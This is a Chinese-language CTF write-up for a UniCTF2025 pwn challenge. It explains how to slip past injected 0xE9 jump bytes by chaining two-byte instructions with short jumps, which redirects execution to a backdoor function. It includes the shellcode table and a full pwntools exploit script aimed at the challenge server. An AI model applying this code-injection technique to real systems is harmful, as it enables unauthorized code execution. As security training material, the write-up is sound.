什么?我不是汇编高手吗?
.png)
main函数:
.png)
题目有后门函数,这里mmap给了一个可读可写的空间,进入循环后有一个读取循环,读取4个字节,这里是从n3加1开始写入,也就是addr_1[0]的位置没有写入,我们写入的是addr_1[1]、addr_1[2]、addr_1[3]、addr_1[4],然后n4等于4代表我们写入了4个字节,把addr_1[0]的位置写入-23即0xE9,也就是jmp rel32,然后addr_1向后移5字节,然后就是从addr_1[5]开始操作了,当n10=-1(即读到文件末尾)以及n10=10(即读到\n),我们这个读取循环结束。
然后把这片区域变为可读可执行,并从这篇区域的开头开始执行。
这题的实际操作就是每次操作5个字节区,其中后面四个是我们可以自由输入的,但是前面一个每次会自动给我们加上一个0xE9
即:
0xE9 0xXX 0xXX 0xXX 0xXX
0xE9 0xXX 0xXX 0xXX 0xXX
0xE9 0xXX 0xXX 0xXX 0xXX......
0xE9的意思就是jmp,它会看后面四个字节区表示的数字是多少,然后jmp过去,那我们想避免这个jmp就可以用一个方法,那就是跳过最开始的一个字节,例如,我们第一个写入的四字节为p32(1),由于小端序,实际上是
0xE9 0x01 0x00 0x00 0x00
0xE9 0x01 0x02 0x03 0x04(此行仅为举例)
这时候它就会执行jmp +1(这个不是汇编指令,仅供理解实际行为),就会
读取指令:CPU 从 0x7000(假设这个指令位置开头在0x7000) 开始,一口气读完了 E9 01 00 00 00 这 5 个字节。
指针更新: 因为读了 5 个字节,指令指针 (RIP) 自动更新到了这条指令的末尾,也就是下一条指令的开头:0x7000 + 5 = 0x7005。
计算落点: CPU 提取出偏移量 1,开始计算:实际目标地址 = 0x7005 + 1 = 0x7006
执行跳转: CPU 将 RIP 设置为 0x7006,直接飞过去继续执行。
就会开始执行第二行的0x01,也就跳过了第二行的0xE9,那我们想要每次都跳过该怎么办呢,我们可以用jmp的短跳转,只占用两字节,就是0xEB 0x01
0xEB和0xE9几乎一模一样,只是它只从后面一个字节区读取数字,那现在我们的布局就是
0xE9 0x01 0x00 0x00 0x00
0xE9 0xXX 0xXX 0xEB 0x01
0xE9 0xXX 0xXX 0xEB 0x01......
0xXX是我们可以自由填充的指令
既然这篇区域可以执行,那我们需要把我们的shellcode切片好,每次两字节,我们确定完整的shellcode的汇编,要确保每个汇编指令的长度在两字节以内
题目有后门,且no pie,那我直接跳到后门函数就行了,后门函数地址为0x4011f6,为了保证在两字节内,我们要把地址切成三个一字节然后利用左移写入,0x40,0x11,0xf6
| 汇编代码 | 机器码 |
|---|---|
xor ecx, ecx |
31 C9 |
mov cl, 8 |
B1 08 |
xor eax, eax |
31 C0 |
mov al, 0x40 |
B0 40 |
shl eax, cl |
D3 E0 |
mov al, 0x11 |
B0 11 |
shl eax, cl |
D3 E0 |
mov al, 0xF6 |
B0 F6 |
push rax |
50 |
ret |
C3 |
我们选择eax作为存我们地址的寄存器,ecx放我们的左移的步长(为什么要这样我们后面会说),所以我们先用xor来清空这两个寄存器
由于我们只有两字节的空间,我们肯定不能用eax和ecx操作的,它们要的操作数要占用四字节,我们只能用它们的最低八位寄存器,分别是al和cl
我们每次要左移一字节,也就是要左移八位,那我们就是用shl eax, 0x8,但是这个的机器码是C1 E0 08
这是因为当你在汇编里硬编码一个数字(也就是“立即数”)时,这个数字是需要占用物理存储空间的。 在 x86/x64 架构下,shl eax, imm8(带有 8 位立即数的移位)的机器码构造是:
操作码:C1
寄存器标识:E0 (代表 eax)
立即数本身:08
但是rcx作为为专门负责循环计数和移位步长的寄存器,在 x86 指令集里,shl 指令有一个专门针对 cl 寄存器的特殊重载版本。当你告诉 CPU“去 cl 寄存器里找移位的步长”时,指令里就不需要再携带那个占据空间的立即数了,那我们只要先把步长存入cl,用 shl eax, cl,就能控制在两字节内了,我们就通过每次向al写入一字节(即向rax的低八位写入),然后左移eax,循环,直到把我们的地址完全写入,然后再push到栈顶,然后ret跳转过去就行了
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc1.ctfplus.cn 44946'
file_name = './汇编高手'
elf = ELF(file_name)
context.binary = elf
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def addr(off): return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf): return binary.address + val
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s):
target = elf
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
if (gadget := rop.find_gadget(instrs)):
lg(s, gadget.address)
return gadget.address
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
bcd = 0x4011f6
def add_block(asm_code):
machine_code = asm(asm_code)
machine_code = machine_code.ljust(2, b'\x90')
return machine_code + b'\xEB\x01'
blist = bcd.to_bytes(3, 'big')
payload = flat([
p32(1),
add_block("xor ecx, ecx"),
add_block("mov cl, 8"),
add_block("xor eax, eax"),
add_block(f"mov al, {blist[0]}"),
add_block("shl eax, cl"),
add_block(f"mov al, {blist[1]}"),
add_block("shl eax, cl"),
add_block(f"mov al, {blist[2]}"),
add_block("push rax"),
asm("ret").ljust(4, b'\x90')
])
sl(payload)
it()
题目链接:
CTF-Writeups/UniCTF2025/什么?我不是汇编高手吗? at main · Zenquiem/CTF-Writeups